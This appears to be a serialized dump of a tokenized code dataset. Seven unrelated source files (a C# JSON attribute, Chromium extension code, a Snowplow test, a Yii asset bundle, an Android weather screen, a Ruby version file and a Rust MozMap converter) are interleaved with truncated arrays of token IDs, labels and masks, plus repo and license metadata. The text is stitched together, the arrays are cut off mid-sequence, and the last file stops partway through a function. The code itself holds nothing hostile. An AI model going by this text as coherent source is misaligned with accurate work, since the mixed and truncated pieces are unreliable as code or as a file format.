[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#region License /*---------------------------------------------------------------------------------*\ Distributed under the terms of an MIT-style license: The MIT License Copyright (c) 2006-2009 Stephen M. McKamey Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \*---------------------------------------------------------------------------------*/ #endregion License using System; using System.Reflection; namespace JsonFx.Json { /// <summary> /// Specifies the naming to use for a property or field when serializing /// </summary> [AttributeUsage(AttributeTargets.All, AllowMultiple=false)] public class JsonNameAttribute : Attribute { #region Fields private string jsonName = null; #endregion Fields #region Init /// <summary> /// Ctor /// </summary> public JsonNameAttribute() { } /// <summary> /// Ctor /// </summary> /// <param name="jsonName"></param> public JsonNameAttribute(string jsonName) { this.jsonName = EcmaScriptIdentifier.EnsureValidIdentifier(jsonName, false); } #endregion Init #region Properties /// <summary> /// Gets and sets the name to be used in JSON /// </summary> public string Name { get { return this.jsonName; } set { this.jsonName = EcmaScriptIdentifier.EnsureValidIdentifier(value, false); } } #endregion Properties #region Methods /// <summary> /// Gets the name specified for use in Json serialization. /// </summary> /// <param name="value"></param> /// <returns></returns> public static string GetJsonName(object value) { if (value == null) { return null; } Type type = value.GetType(); MemberInfo memberInfo = null; if (type.IsEnum) { string name = Enum.GetName(type, value); if (String.IsNullOrEmpty(name)) { return null; } memberInfo = type.GetField(name); } else { memberInfo = value as MemberInfo; } if (memberInfo == null) { throw new ArgumentException(); } if (!Attribute.IsDefined(memberInfo, typeof(JsonNameAttribute))) { return null; } JsonNameAttribute attribute = (JsonNameAttribute)Attribute.GetCustomAttribute(memberInfo, typeof(JsonNameAttribute)); return attribute.Name; } ///// <summary> ///// Gets the name specified for use in Json serialization. ///// </summary> ///// <param name="value"></param> ///// <returns></returns> //public static string GetXmlName(object value) //{ // if (value == null) // { // return null; // } // Type type = value.GetType(); // ICustomAttributeProvider memberInfo = null; // if (type.IsEnum) // { // string name = Enum.GetName(type, value); // if (String.IsNullOrEmpty(name)) // { // return null; // } // memberInfo = type.GetField(name); // } // else // { // memberInfo = value as ICustomAttributeProvider; // } // if (memberInfo == null) // { // throw new ArgumentException(); // } // XmlAttributes xmlAttributes = new XmlAttributes(memberInfo); // if (xmlAttributes.XmlElements.Count == 1 && // !String.IsNullOrEmpty(xmlAttributes.XmlElements[0].ElementName)) // { // return xmlAttributes.XmlElements[0].ElementName; // } // if (xmlAttributes.XmlAttribute != null && // !String.IsNullOrEmpty(xmlAttributes.XmlAttribute.AttributeName)) // { // return xmlAttributes.XmlAttribute.AttributeName; // } // return null; //} #endregion Methods } }
doublesword/commuse
Source/jsonfx-for-unity3d-master/jsonfx-for-unity3d-master/JsonFx/JsonFx.Json/JsonNameAttribute.cs
C#
gpl-2.0
4,763
[ 30522, 1001, 2555, 6105, 1013, 1008, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 30524, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 10...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/extensions/api/sync_file_system/extension_sync_event_observer.h" #include "base/lazy_instance.h" #include "chrome/browser/extensions/api/sync_file_system/sync_file_system_api_helpers.h" #include "chrome/browser/extensions/extension_service.h" #include "chrome/browser/sync_file_system/sync_event_observer.h" #include "chrome/browser/sync_file_system/sync_file_system_service.h" #include "chrome/browser/sync_file_system/sync_file_system_service_factory.h" #include "chrome/browser/sync_file_system/syncable_file_system_util.h" #include "chrome/common/extensions/api/sync_file_system.h" #include "content/public/browser/browser_context.h" #include "extensions/browser/event_router.h" #include "extensions/browser/extension_system.h" #include "extensions/browser/extension_system_provider.h" #include "extensions/browser/extensions_browser_client.h" #include "webkit/browser/fileapi/file_system_url.h" #include "webkit/common/fileapi/file_system_util.h" using sync_file_system::SyncEventObserver; namespace extensions { static base::LazyInstance< BrowserContextKeyedAPIFactory<ExtensionSyncEventObserver> > g_factory = LAZY_INSTANCE_INITIALIZER; // static BrowserContextKeyedAPIFactory<ExtensionSyncEventObserver>* ExtensionSyncEventObserver::GetFactoryInstance() { return g_factory.Pointer(); } ExtensionSyncEventObserver::ExtensionSyncEventObserver( content::BrowserContext* context) : browser_context_(context), sync_service_(NULL) {} void ExtensionSyncEventObserver::InitializeForService( sync_file_system::SyncFileSystemService* sync_service) { DCHECK(sync_service); if (sync_service_ != NULL) { DCHECK_EQ(sync_service_, sync_service); return; } sync_service_ = sync_service; sync_service_->AddSyncEventObserver(this); } ExtensionSyncEventObserver::~ExtensionSyncEventObserver() {} void ExtensionSyncEventObserver::Shutdown() { if (sync_service_ != NULL) sync_service_->RemoveSyncEventObserver(this); } std::string ExtensionSyncEventObserver::GetExtensionId( const GURL& app_origin) { const Extension* app = ExtensionSystem::Get(browser_context_) ->extension_service() ->GetInstalledApp(app_origin); if (!app) { // The app is uninstalled or disabled. return std::string(); } return app->id(); } void ExtensionSyncEventObserver::OnSyncStateUpdated( const GURL& app_origin, sync_file_system::SyncServiceState state, const std::string& description) { // Convert state and description into SyncState Object. api::sync_file_system::ServiceInfo service_info; service_info.state = SyncServiceStateToExtensionEnum(state); service_info.description = description; scoped_ptr<base::ListValue> params( api::sync_file_system::OnServiceStatusChanged::Create(service_info)); BroadcastOrDispatchEvent( app_origin, api::sync_file_system::OnServiceStatusChanged::kEventName, params.Pass()); } void ExtensionSyncEventObserver::OnFileSynced( const fileapi::FileSystemURL& url, sync_file_system::SyncFileStatus status, sync_file_system::SyncAction action, sync_file_system::SyncDirection direction) { scoped_ptr<base::ListValue> params(new base::ListValue()); // For now we always assume events come only for files (not directories). params->Append(CreateDictionaryValueForFileSystemEntry( url, sync_file_system::SYNC_FILE_TYPE_FILE)); // Status, SyncAction and any optional notes to go here. api::sync_file_system::FileStatus status_enum = SyncFileStatusToExtensionEnum(status); api::sync_file_system::SyncAction action_enum = SyncActionToExtensionEnum(action); api::sync_file_system::SyncDirection direction_enum = SyncDirectionToExtensionEnum(direction); params->AppendString(api::sync_file_system::ToString(status_enum)); params->AppendString(api::sync_file_system::ToString(action_enum)); params->AppendString(api::sync_file_system::ToString(direction_enum)); BroadcastOrDispatchEvent( url.origin(), api::sync_file_system::OnFileStatusChanged::kEventName, params.Pass()); } void ExtensionSyncEventObserver::BroadcastOrDispatchEvent( const GURL& app_origin, const std::string& event_name, scoped_ptr<base::ListValue> values) { // Check to see whether the event should be broadcasted to all listening // extensions or sent to a specific extension ID. bool broadcast_mode = app_origin.is_empty(); EventRouter* event_router = ExtensionSystem::Get(browser_context_)->event_router(); DCHECK(event_router); scoped_ptr<Event> event(new Event(event_name, values.Pass())); event->restrict_to_browser_context = browser_context_; // No app_origin, broadcast to all listening extensions for this event name. if (broadcast_mode) { event_router->BroadcastEvent(event.Pass()); return; } // Dispatch to single extension ID. const std::string extension_id = GetExtensionId(app_origin); if (extension_id.empty()) return; event_router->DispatchEventToExtension(extension_id, event.Pass()); } template <> void BrowserContextKeyedAPIFactory< ExtensionSyncEventObserver>::DeclareFactoryDependencies() { DependsOn(sync_file_system::SyncFileSystemServiceFactory::GetInstance()); DependsOn(ExtensionsBrowserClient::Get()->GetExtensionSystemFactory()); } } // namespace extensions
patrickm/chromium.src
chrome/browser/extensions/api/sync_file_system/extension_sync_event_observer.cc
C++
bsd-3-clause
5,577
[ 30522, 1013, 1013, 9385, 1006, 1039, 1007, 2262, 1996, 10381, 21716, 5007, 6048, 1012, 2035, 2916, 9235, 1012, 1013, 1013, 2224, 1997, 2023, 3120, 3642, 2003, 9950, 2011, 1037, 18667, 2094, 1011, 2806, 6105, 2008, 2064, 2022, 1013, 1013, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Copyright (c) 2022 Snowplow Analytics Ltd, 2010 Anthon Pang * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ import { BrowserTracker } from '@snowplow/browser-tracker-core'; import { buildLinkClick, trackerCore } from '@snowplow/tracker-core'; import { JSDOM } from 'jsdom'; import { BrowserFeaturesPlugin } from '../src/index'; declare var jsdom: JSDOM; describe('Browser Features plugin', () => { it('Returns undefined or false for unavailable mimeTypes', (done) => { Object.defineProperty(jsdom.window.navigator, 'mimeTypes', { value: { 'application/pdf': { enabledPlugin: false }, length: 1, }, configurable: true, }); const core = trackerCore({ base64: false, callback: (payloadBuilder) => { const payload = payloadBuilder.build(); expect(payload['f_pdf']).toBe('0'); expect(payload['f_qt']).toBeUndefined(); done(); }, }); BrowserFeaturesPlugin().activateBrowserPlugin?.({ core } as BrowserTracker); core.track(buildLinkClick({ targetUrl: 'https://example.com' })); }); it('Returns values for available mimeTypes', (done) => { Object.defineProperty(jsdom.window.navigator, 'mimeTypes', { value: { 'application/pdf': { enabledPlugin: true }, 'video/quicktime': { enabledPlugin: true }, 'audio/x-pn-realaudio-plugin': { enabledPlugin: true }, 'application/x-mplayer2': { enabledPlugin: true }, 'application/x-director': { enabledPlugin: true }, 'application/x-shockwave-flash': { enabledPlugin: true }, 'application/x-java-vm': { enabledPlugin: true }, 'application/x-googlegears': { enabledPlugin: true }, 'application/x-silverlight': { enabledPlugin: true }, length: 9, }, configurable: true, }); const core = trackerCore({ base64: false, callback: (payloadBuilder) => { const payload = payloadBuilder.build(); expect(payload['f_pdf']).toBe('1'); expect(payload['f_qt']).toBe('1'); expect(payload['f_realp']).toBe('1'); expect(payload['f_wma']).toBe('1'); expect(payload['f_dir']).toBe('1'); expect(payload['f_fla']).toBe('1'); expect(payload['f_java']).toBe('1'); expect(payload['f_gears']).toBe('1'); expect(payload['f_ag']).toBe('1'); done(); }, }); BrowserFeaturesPlugin().activateBrowserPlugin?.({ core } as BrowserTracker); core.track(buildLinkClick({ targetUrl: 'https://example.com' })); }); });
snowplow/snowplow-javascript-tracker
plugins/browser-plugin-browser-features/test/browser_features.test.ts
TypeScript
bsd-3-clause
4,061
[ 30522, 1013, 1008, 1008, 9385, 1006, 1039, 1007, 16798, 2475, 4586, 24759, 5004, 25095, 5183, 1010, 2230, 14405, 8747, 20657, 1008, 2035, 2916, 9235, 1012, 1008, 1008, 25707, 1998, 2224, 1999, 3120, 1998, 12441, 3596, 1010, 2007, 2030, 2302...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php /** * @link http://www.yiiframework.com/ * @copyright Copyright (c) 2008 Yii Software LLC * @license http://www.yiiframework.com/license/ */ namespace app\assets; use yii\web\AssetBundle; /** * @author Qiang Xue <qiang.xue@gmail.com> * @since 2.0 */ class AppAsset extends AssetBundle { public $basePath = '@webroot'; public $baseUrl = '@web'; public $css = [ 'css/site.css', ]; public $js = [ ]; public $depends = [ 'yii\web\YiiAsset', 'yii\bootstrap\BootstrapAsset', 'app\assets\BowerAsset' ]; public $jsOptions = array( 'position' => \yii\web\View::POS_HEAD ); }
andreyshade/test_yii2
assets/AppAsset.php
PHP
bsd-3-clause
658
[ 30522, 1026, 1029, 25718, 1013, 1008, 1008, 1008, 1030, 4957, 8299, 1024, 1013, 1013, 7479, 1012, 12316, 10128, 6444, 7974, 2953, 2243, 1012, 4012, 1013, 1008, 1030, 9385, 9385, 1006, 1039, 1007, 2263, 12316, 2072, 4007, 11775, 1008, 1030, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package com.weather.yogurt.weatherapp.activity; import android.app.Activity; import android.app.ProgressDialog; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.preference.PreferenceManager; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.LinearLayout; import android.widget.TextView; import com.weather.yogurt.weatherapp.R; import com.weather.yogurt.weatherapp.service.AutoUpdateService; import com.weather.yogurt.weatherapp.util.HttpCallbackListener; import com.weather.yogurt.weatherapp.util.HttpUtil; import com.weather.yogurt.weatherapp.util.Utility; import org.json.JSONException; /** * Created by Yogurt on 5/21/16. */ public class WeatherActivity extends Activity implements View.OnClickListener{ private LinearLayout weatherInfoLayout; private TextView cityNameText;//显示城市 private TextView weatherConditionText;//天气大概状况 private TextView weatherTemperatureText; private TextView weatherConditionDetailText,hourlyWeatherCondition; private Button switchCity,refresh; private HttpCallbackListener listener; private ProgressDialog progressDialog; // WeatherDB weatherDB=WeatherDB.getInstance(this); @Override protected void onCreate(Bundle savedInstanceState) { SharedPreferences prefs=PreferenceManager.getDefaultSharedPreferences(this); super.onCreate(savedInstanceState); setContentView(R.layout.weather_layout); weatherInfoLayout= (LinearLayout) findViewById(R.id.weather_info_layout); cityNameText= (TextView) findViewById(R.id.city_name_title); weatherConditionText= (TextView) findViewById(R.id.weather_condition_text); weatherTemperatureText= (TextView) findViewById(R.id.weather_temperature_text); weatherConditionDetailText= (TextView) findViewById(R.id.weather_condition_detail_text); hourlyWeatherCondition= (TextView) findViewById(R.id.hourly_weather_condition); switchCity= (Button) findViewById(R.id.switch_city); refresh= (Button) findViewById(R.id.refresh); requestAddShow(prefs.getString("basic_city","")); switchCity.setOnClickListener(this); refresh.setOnClickListener(this); } /* 从sharedPreferences里面取出天气信息,显示到界面上 */ private void showWeather(){ SharedPreferences prefs= PreferenceManager.getDefaultSharedPreferences(this); //Log.d("AAAAA",prefs.getString("basic_city","")); cityNameText.setText(prefs.getString("basic_city","")); weatherConditionText.setText(prefs.getString("now_cond_txt","")+","+prefs.getString("now_wind_dir","")+" "+prefs.getString("now_wind_sc","")+"级"); weatherTemperatureText.setText(prefs.getString("tmp_min_0","")+"° ~ "+prefs.getString("tmp_max_0","")+"°"); StringBuilder hourlySb=new StringBuilder(); for (int i=0;i<prefs.getInt("hourly_length",0);i++){ String up=prefs.getString("today_date_"+i,"").substring(prefs.getString("today_date_"+i,"").indexOf(" ")); // Log.d("todaydate",prefs.getString("today_date_"+i,"")); hourlySb.append(up.substring(0,3)).append("时").append(":"); hourlySb.append(prefs.getString("today_tmp_"+i,"")).append("°").append(" "); } hourlyWeatherCondition.setText(hourlySb); StringBuilder weatherDetail=new StringBuilder(); for (int i=0;i<7;i++){ StringBuilder sb=new StringBuilder(); //Log.d("dateI",prefs.getString("date_"+i,"")); sb.append(prefs.getString("date_"+i,"").substring(5)).append(" "); String weaD=prefs.getString("cond_txt_d_"+i,""); String weaN=prefs.getString("cond_txt_n_"+i,""); StringBuilder cond=new StringBuilder(); if (weaD.equals(weaN)){ cond.append(weaD); }else { cond.append(weaD).append("转").append(weaN); } int len=cond.length(); for (int j=0;j<=7-len;j++) { cond.append(" "); } sb.append(cond); String maxTmp=prefs.getString("tmp_max_"+i,""); String minTmp=prefs.getString("tmp_min_"+i,""); sb.append(minTmp).append("° ~ ").append(maxTmp).append("°"); sb.append("\r\n"); weatherDetail.append(sb); } weatherDetail.append("\r\n"); weatherDetail.append("舒适度指数:").append(prefs.getString("suggestion_comf_brf","")).append("; ").append(prefs.getString("suggestion_comf_txt","")).append("\r\n\r\n"); weatherDetail.append("洗车指数:").append(prefs.getString("suggestion_cw_brf","")).append("; ").append(prefs.getString("suggestion_cw_txt","")).append("\r\n\r\n"); weatherDetail.append("穿衣指数:").append(prefs.getString("suggestion_drsg_brf","")).append("; ").append(prefs.getString("suggestion_drsg_txt","")).append("\r\n\r\n"); weatherDetail.append("感冒指数:").append(prefs.getString("suggestion_flu_brf","")).append("; ").append(prefs.getString("suggestion_flu_txt","")).append("\r\n\r\n"); weatherDetail.append("运动指数:").append(prefs.getString("suggestion_sport_brf","")).append("; ").append(prefs.getString("suggestion_sport_txt","")).append("\r\n\r\n"); weatherDetail.append("旅游指数:").append(prefs.getString("suggestion_trav_brf","")).append("; ").append(prefs.getString("suggestion_trav_txt","")).append("\r\n\r\n"); weatherDetail.append("紫外线指数:").append(prefs.getString("suggestion_uv_brf","")).append("; ").append(prefs.getString("suggestion_uv_txt","")).append("\r\n\r\n"); weatherConditionDetailText.setText(weatherDetail); Intent intent=new Intent(this, AutoUpdateService.class); startService(intent); } @Override public void onClick(View v) { switch (v.getId()){ case R.id.switch_city: Intent intent=new Intent(WeatherActivity.this,ChooseAreaActivity.class); intent.putExtra("from_weather_activity",true); startActivityForResult(intent,1); break; case R.id.refresh: SharedPreferences prefs=PreferenceManager.getDefaultSharedPreferences(this); // Log.d("basic_city",prefs.getString("basic_city","")); requestAddShow(prefs.getString("basic_city","")); Log.d("refresh","Successful"); break; } } @Override protected void onActivityResult(int requestCode, int resultCode, final Intent data) { switch (resultCode){ case RESULT_OK: if (requestCode==1){ runOnUiThread(new Runnable() { @Override public void run() { showProgressDialog(); } }); new Thread(new Runnable() { @Override public void run() { requestAddShow(data.getStringExtra("country_name_pinyin")); } }).start(); } break; default: break; } } private void requestAddShow(String countryName){ // String basicCity=PreferenceManager.getDefaultSharedPreferences(this).getString("basic_city",""); // if (!countryName.equals(basicCity)){ runOnUiThread(new Runnable() { @Override public void run() { showProgressDialog(); } }); // } listener=new HttpCallbackListener() { @Override public void onFinish(String result) { runOnUiThread(new Runnable() { @Override public void run() { //closeProgressDialog(); } }); try { boolean flag=Utility.handleWeatherConditionResponse(WeatherActivity.this,result); if (flag){ runOnUiThread(new Runnable() { @Override public void run() { closeProgressDialog(); showWeather(); } }); } } catch (JSONException e) { e.printStackTrace(); } } @Override public void onError(Exception e) { e.printStackTrace(); } }; HttpUtil.sendHttpRequest("http://apis.baidu.com/heweather/weather/free?city="+countryName,listener,null); } /* 显示进度对话框 */ private void showProgressDialog() { if (progressDialog==null){ progressDialog=new ProgressDialog(this); progressDialog.setMessage("正在加载..."); progressDialog.setCanceledOnTouchOutside(false); } progressDialog.show(); } private void closeProgressDialog(){ if (progressDialog!=null){ progressDialog.dismiss(); } } }
Git-Yogurt/WeatherApplication
app/src/main/java/com/weather/yogurt/weatherapp/activity/WeatherActivity.java
Java
apache-2.0
9,501
[ 30522, 7427, 4012, 1012, 4633, 1012, 10930, 27390, 2102, 1012, 4633, 29098, 1012, 4023, 1025, 12324, 11924, 1012, 10439, 1012, 4023, 1025, 12324, 11924, 1012, 10439, 1012, 5082, 27184, 8649, 1025, 12324, 11924, 1012, 4180, 1012, 7848, 1025, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
module Fog module Radosgw VERSION = "0.0.4" end end
sho-wtag/catarse-2.0
vendor/bundle/ruby/2.2.0/gems/fog-radosgw-0.0.4/lib/fog/radosgw/version.rb
Ruby
mit
60
[ 30522, 11336, 9666, 11336, 10958, 12269, 2290, 2860, 2544, 1027, 1000, 1014, 1012, 1014, 1012, 1018, 1000, 2203, 2203, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //! The `MozMap` (open-ended dictionary) type. use dom::bindings::conversions::jsid_to_string; use dom::bindings::str::DOMString; use js::conversions::{FromJSValConvertible, ToJSValConvertible, ConversionResult}; use js::jsapi::GetPropertyKeys; use js::jsapi::HandleValue; use js::jsapi::JSContext; use js::jsapi::JSITER_OWNONLY; use js::jsapi::JSPROP_ENUMERATE; use js::jsapi::JS_DefineUCProperty2; use js::jsapi::JS_GetPropertyById; use js::jsapi::JS_NewPlainObject; use js::jsapi::MutableHandleValue; use js::jsval::ObjectValue; use js::jsval::UndefinedValue; use js::rust::IdVector; use std::collections::HashMap; use std::ops::Deref; /// The `MozMap` (open-ended dictionary) type. #[derive(Clone)] pub struct MozMap<T> { map: HashMap<DOMString, T>, } impl<T> MozMap<T> { /// Create an empty `MozMap`. pub fn new() -> Self { MozMap { map: HashMap::new(), } } } impl<T> Deref for MozMap<T> { type Target = HashMap<DOMString, T>; fn deref(&self) -> &HashMap<DOMString, T> { &self.map } } impl<T, C> FromJSValConvertible for MozMap<T> where T: FromJSValConvertible<Config=C>, C: Clone, { type Config = C; unsafe fn from_jsval(cx: *mut JSContext, value: HandleValue, config: C) -> Result<ConversionResult<Self>, ()> { if !value.is_object() { return Ok(ConversionResult::Failure("MozMap value was not an object".into())); } rooted!(in(cx) let object = value.to_object()); let ids = IdVector::new(cx); assert!(GetPropertyKeys(cx, object.handle(), JSITER_OWNONLY, ids.get())); let mut map = HashMap::new(); for id in &*ids { rooted!(in(cx) let id = *id); rooted!(in(cx) let mut property = UndefinedValue()); if !JS_GetPropertyById(cx, object.handle(), id.handle(), property.handle_mut()) { return Err(()); } let property = match try!(T::from_jsval(cx, property.handle(), config.clone())) { ConversionResult::Success(property) => property, ConversionResult::Failure(message) => return Ok(ConversionResult::Failure(message)), }; let key = jsid_to_string(cx, id.handle()).unwrap(); map.insert(key, property); } Ok(ConversionResult::Success(MozMap { map: map, })) } } impl<T: ToJSValConvertible> ToJSValConvertible for MozMap<T> { #[inline] unsafe fn to_jsval(&self, cx: *mut JSContext, rval: MutableHandleValue) { rooted!(in(cx) let js_object = JS_NewPlainObject(cx)); 